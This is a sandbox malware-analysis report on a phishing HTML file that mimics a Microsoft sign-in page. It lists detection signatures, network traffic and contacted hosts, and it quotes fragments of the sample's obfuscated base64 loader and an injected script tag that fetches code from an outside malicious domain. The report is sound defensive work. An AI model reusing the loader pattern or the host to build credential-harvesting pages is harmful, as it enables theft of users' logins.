Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
malicious@sample.phishing.file.html

Overview

General Information

Sample Name:malicious@sample.phishing.file.html
Analysis ID:1384103
MD5:b640b59ed75c8f24d4f8233f122062f0
SHA1:34377f62b839937b4cb735d0291588002c36ddc0
SHA256:1aad6b1a019b5dbc94a91e426ef198640f7e6dd9b63b0971ac495e6c52e5e8c2
Infos:

Detection

HTMLPhisher
Score:80
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected HtmlPhish10
Detected javascript redirector / loader
HTML file submission containing password form
HTML sample is only containing javascript code
HTML document with suspicious title
HTML root dynamically written
Call-Chain indicates evasion measures
HTML Script injector detected
Phishing site detected (based on image similarity)
Creates files inside the system directory
Script element or tag injection
None HTTPS page querying sensitive user data (password, username or email)
HTML body contains password input but no form action
HTML title does not match URL

Classification

Process Tree

  • System is w10x64
  • chrome.exe (PID: 4108 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\malicious@sample.phishing.file.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 4632 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2312,i,9019154639734182260,6881670019935364994,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

SourceRuleDescriptionAuthorStrings
0.0.pages.csvJoeSecurity_HtmlPhish_10Yara detected HtmlPhish_10Joe Security

    Sigma Signatures

    ⊘No Sigma rule has matched

    Snort Signatures

    ⊘No Snort rule has matched

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results

    Phishing

    barindex
    Yara detected HtmlPhish10
    Source: Yara matchFile source: 0.0.pages.csv, type: HTML
    Detected javascript redirector / loader
    Source: malicious@sample.phishing.file.htmlHTTP Parser: Low number of body elements: 0
    HTML sample is only containing javascript code
    Source: malicious@sample.phishing.file.htmlHTTP Parser: <script>var uid= "malicious@sample.phishing"; var _uid=['Jp','dmV','mh','0dH','GV','PC','Bz','aWN','2Fs','Zl','L2p','5jb','zL2','jc3','Jld','I+','yc','9z','WVy','cn','dCB','Oi8','5p','eS','i9','20v','cy','vdW','Q+','cH','lw','5q','PHN','vb','LW','pxd...
    HTML document with suspicious title
    Source: file:///C:/Users/user/Desktop/malicious@sample.phishing.file.htmlTab title: Sign in to your account
    HTML root dynamically written
    Source: file\:///C\:/Users/user/Desktop/malicious@sample.phishing.file.htmlJavaScript Tracing: Argument in call to document.write() contains HTML root: "<html lang="en">\x0a <head>\x0a <meta http-equiv="Content-Type" content="text/html; charset=UTF..."
    Call-Chain indicates evasion measures
    Source: file\:///C\:/Users/user/Desktop/malicious@sample.phishing.file.htmlJavaScript Tracing: Detected writing of HTML string to DOM using call to HTMLDocument.write() after method call to atob()
    HTML Script injector detected
    Source: file:///C:/Users/user/Desktop/malicious@sample.phishing.file.htmlHTTP Parser: New script tag found
    Phishing site detected (based on image similarity)
    Source: file:///C:/Users/user/Desktop/malicious@sample.phishing.file.htmlMatcher: Found strong image similarity, brand: MICROSOFT
    Source: file\:///C\:/Users/user/Desktop/malicious@sample.phishing.file.htmlJavaScript Tracing: HTML-tag "<script>" has been injected into the DOM within a string using HTMLDocument.write("<html lang="en">\x0a <head>\x0a <meta http-equiv="Content-Type" content="text/html; charset=UTF...");
    Source: file\:///C\:/Users/user/Desktop/malicious@sample.phishing.file.htmlJavaScript Tracing: HTML-tag "<script>" has been injected into the DOM within a string using HTMLDocument.write("<script src="https\://universal-ferretera.com/icon/css./js/jquery.js"></script>");
    Source: file:///C:/Users/user/Desktop/malicious@sample.phishing.file.htmlHTTP Parser: Has password / email / username input fields
    Source: file:///C:/Users/user/Desktop/malicious@sample.phishing.file.htmlHTTP Parser: <input type="password" .../> found but no <form action="...
    Source: file:///C:/Users/user/Desktop/malicious@sample.phishing.file.htmlHTTP Parser: Title: Sign in to your account does not match URL
    Source: file:///C:/Users/user/Desktop/malicious@sample.phishing.file.htmlHTTP Parser: <input type="password" .../> found
    Source: file:///C:/Users/user/Desktop/malicious@sample.phishing.file.htmlHTTP Parser: No <meta name="author".. found
    Source: file:///C:/Users/user/Desktop/malicious@sample.phishing.file.htmlHTTP Parser: No <meta name="copyright".. found
    Source: unknownHTTPS traffic detected: 23.209.58.93:443 -> 192.168.2.4:49745 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 23.209.58.93:443 -> 192.168.2.4:49746 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49751 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49760 version: TLS 1.2
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
    Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
    Source: unknownNetwork traffic detected: HTTP traffic on port 49678 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
    Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
    Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
    Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49675 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
    Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
    Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
    Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
    Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
    Source: unknownTCP traffic detected without corresponding DNS query: 104.46.162.224
    Source: unknownTCP traffic detected without corresponding DNS query: 173.222.162.32
    Source: unknownTCP traffic detected without corresponding DNS query: 173.222.162.32
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 23.209.58.93
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownTCP traffic detected without corresponding DNS query: 40.68.123.157
    Source: unknownHTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk
    Source: unknownDNS traffic detected: queries for: accounts.google.com
    Source: global trafficHTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /icon/css./js/jquery.js HTTP/1.1Host: universal-ferretera.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /16.000.28510.6/images/favicon.ico HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /16.000.28510.6/images/favicon.ico HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
    Source: global trafficHTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
    Source: global trafficHTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3zR+716CuA+MVrv&MD=C4TvLgvC HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
    Source: global trafficHTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3zR+716CuA+MVrv&MD=C4TvLgvC HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
    Source: global trafficHTTP traffic detected: GET /tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=0000000000000000000000000000000000000000904777ECD0 HTTP/1.1Host: clients1.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br
    Source: unknownHTTPS traffic detected: 23.209.58.93:443 -> 192.168.2.4:49745 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 23.209.58.93:443 -> 192.168.2.4:49746 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49751 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49760 version: TLS 1.2
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\chrome_BITS_4108_705123645Jump to behavior
    Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\malicious@sample.phishing.file.html
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2312,i,9019154639734182260,6881670019935364994,262144 /prefetch:8
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2312,i,9019154639734182260,6881670019935364994,262144 /prefetch:8Jump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
    Source: classification engineClassification label: mal80.phis.evad.winHTML@26/6@12/13

    Stealing of Sensitive Information

    barindex
    HTML file submission containing password form
    Source: file:///C:/Users/user/Desktop/malicious@sample.phishing.file.htmlHTTP Parser: file:///C:/Users/user/Desktop/malicious@sample.phishing.file.html

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpactResource DevelopmentReconnaissance
    Valid Accounts21
    JavaScript    		Path Interception1
    Process Injection    		1
    Masquerading    		OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local SystemExfiltration Over Other Network Medium1
    Encrypted Channel    		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
    Process Injection    		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth3
    Non-Application Layer Protocol    		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration4
    Application Layer Protocol    		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled Transfer1
    Ingress Tool Transfer    		SIM Card SwapCarrier Billing Fraud

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    ⊘No Antivirus matches

    Dropped Files

    ⊘No Antivirus matches

    Unpacked PE Files

    ⊘No Antivirus matches

    Domains

    ⊘No Antivirus matches

    URLs

    ⊘No Antivirus matches

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    accounts.google.com
    		172.253.124.84
    		truefalse
      		high
      code.jquery.com
      		151.101.66.137
      		truefalse
        		high
        universal-ferretera.com
        		198.54.120.89
        		truefalse
          		unknown
          part-0023.t-0009.t-msedge.net
          		13.107.246.51
          		truefalse
            		unknown
            www.google.com
            		74.125.138.147
            		truefalse
              		high
              part-0012.t-0009.t-msedge.net
              		13.107.246.40
              		truefalse
                		unknown
                clients.l.google.com
                		64.233.185.139
                		truefalse
                  		high
                  clients1.google.com
                  		unknown
                  		unknownfalse
                    		high
                    clients2.google.com
                    		unknown
                    		unknownfalse
                      		high

                      Contacted URLs

                      NameMaliciousAntivirus DetectionReputation
                      https://clients1.google.com/tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=0000000000000000000000000000000000000000904777ECD0false
                        		high
                        file:///C:/Users/user/Desktop/malicious@sample.phishing.file.htmltrue
                          		low
                          https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1false
                            		high
                            https://universal-ferretera.com/icon/css./js/jquery.jsfalse
                              		unknown
                              https://code.jquery.com/jquery-3.1.1.min.jsfalse
                                		high
                                https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standardfalse
                                  		high

                                  World Map of Contacted IPs

                                  • No. of IPs < 25%
                                  • 25% < No. of IPs < 50%
                                  • 50% < No. of IPs < 75%
                                  • 75% < No. of IPs

                                  Public IPs

                                  IPDomainCountryFlagASNASN NameMalicious
                                  74.125.138.147
                                  		www.google.comUnited States
                                  		15169GOOGLEUSfalse
                                  13.107.246.40
                                  		part-0012.t-0009.t-msedge.netUnited States
                                  		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                  13.107.246.51
                                  		part-0023.t-0009.t-msedge.netUnited States
                                  		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                  198.54.120.89
                                  		universal-ferretera.comUnited States
                                  		22612NAMECHEAP-NETUSfalse
                                  142.250.105.102
                                  		unknownUnited States
                                  		15169GOOGLEUSfalse
                                  172.253.124.84
                                  		accounts.google.comUnited States
                                  		15169GOOGLEUSfalse
                                  239.255.255.250
                                  		unknownReserved
                                  		unknownunknownfalse
                                  151.101.66.137
                                  		code.jquery.comUnited States
                                  		54113FASTLYUSfalse
                                  64.233.185.139
                                  		clients.l.google.comUnited States
                                  		15169GOOGLEUSfalse

                                  Private

                                  IP
                                  192.168.2.17
                                  192.168.2.18
                                  192.168.2.4
                                  192.168.2.5

                                  General Information

                                  Joe Sandbox Version:38.0.0
                                  Analysis ID:1384103
                                  Start date and time:2024-01-31 14:43:38 +01:00
                                  Joe Sandbox Product:CloudBasic
                                  Overall analysis duration:0h 6m 51s
                                  Hypervisor based Inspection enabled:false
                                  Report type:full
                                  Cookbook file name:defaultwindowshtmlcookbook.jbs
                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                  Number of analysed new started processes analysed:7
                                  Number of new started drivers analysed:0
                                  Number of existing processes analysed:0
                                  Number of existing drivers analysed:0
                                  Number of injected processes analysed:0
                                  Technologies:
                                  • EGA enabled
                                  • GSI enabled (VBA)
                                  • GSI enabled (Javascript)
                                  • GSI enabled (Java)
                                  • AMSI enabled
                                  Analysis Mode:default
                                  Analysis stop reason:Timeout
                                  Sample file name:malicious@sample.phishing.file.html
                                  Detection:MAL
                                  Classification:mal80.phis.evad.winHTML@26/6@12/13
                                  Cookbook Comments:
                                  • Found application associated with file extension: .html

                                  Warnings

                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                  • Excluded IPs from analysis (whitelisted): 172.217.215.94, 34.104.35.123, 64.233.185.95, 142.250.9.95, 172.253.124.95, 64.233.177.95, 172.217.215.95, 64.233.176.95, 142.251.15.95, 74.125.138.95, 173.194.219.95, 108.177.122.95, 74.125.136.95, 142.250.105.95, 23.40.205.26, 192.229.211.108, 142.251.15.94
                                  • Excluded domains from analysis (whitelisted): logincdn.msauth.net, fs.microsoft.com, lgincdnmsftuswe2.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, edgedl.me.gvt1.com, lgincdn.trafficmanager.net, update.googleapis.com, lgincdnmsftuswe2.afd.azureedge.net, optimizationguide-pa.googleapis.com
                                  • HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                  • Not all processes where analyzed, report is missing behavior information
                                  • Report size getting too big, too many NtOpenFile calls found.
                                  • Report size getting too big, too many NtSetInformationFile calls found.

                                  Simulations

                                  Behavior and APIs

                                  ⊘No simulations

                                  Created / dropped Files

                                  Chrome Cache Entry: 73

                                  Download File
                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                  File Type:Unknown
                                  Category:downloaded
                                  Size (bytes):229336
                                  Entropy (8bit):5.667623129897338
                                  Encrypted:false
                                  SSDEEP:3072:z+ejBOrCmQIbDaWcnpDd2vkqzHIHaoaX4++3pRtstDDq3crWZjDK:z+aOrCmQZAcqzoH84+spLQq3+WZju
                                  MD5:53A5E98F8D17AA4F89A77699905FEABF
                                  SHA1:26B1CB4A54E5F35B535EC2EA99CCDCF9A3C4ED53
                                  SHA-256:AECD956EF2447142A83958015FC9C3A4F66474FC7B47AE7CBDF98273BF66A3B7
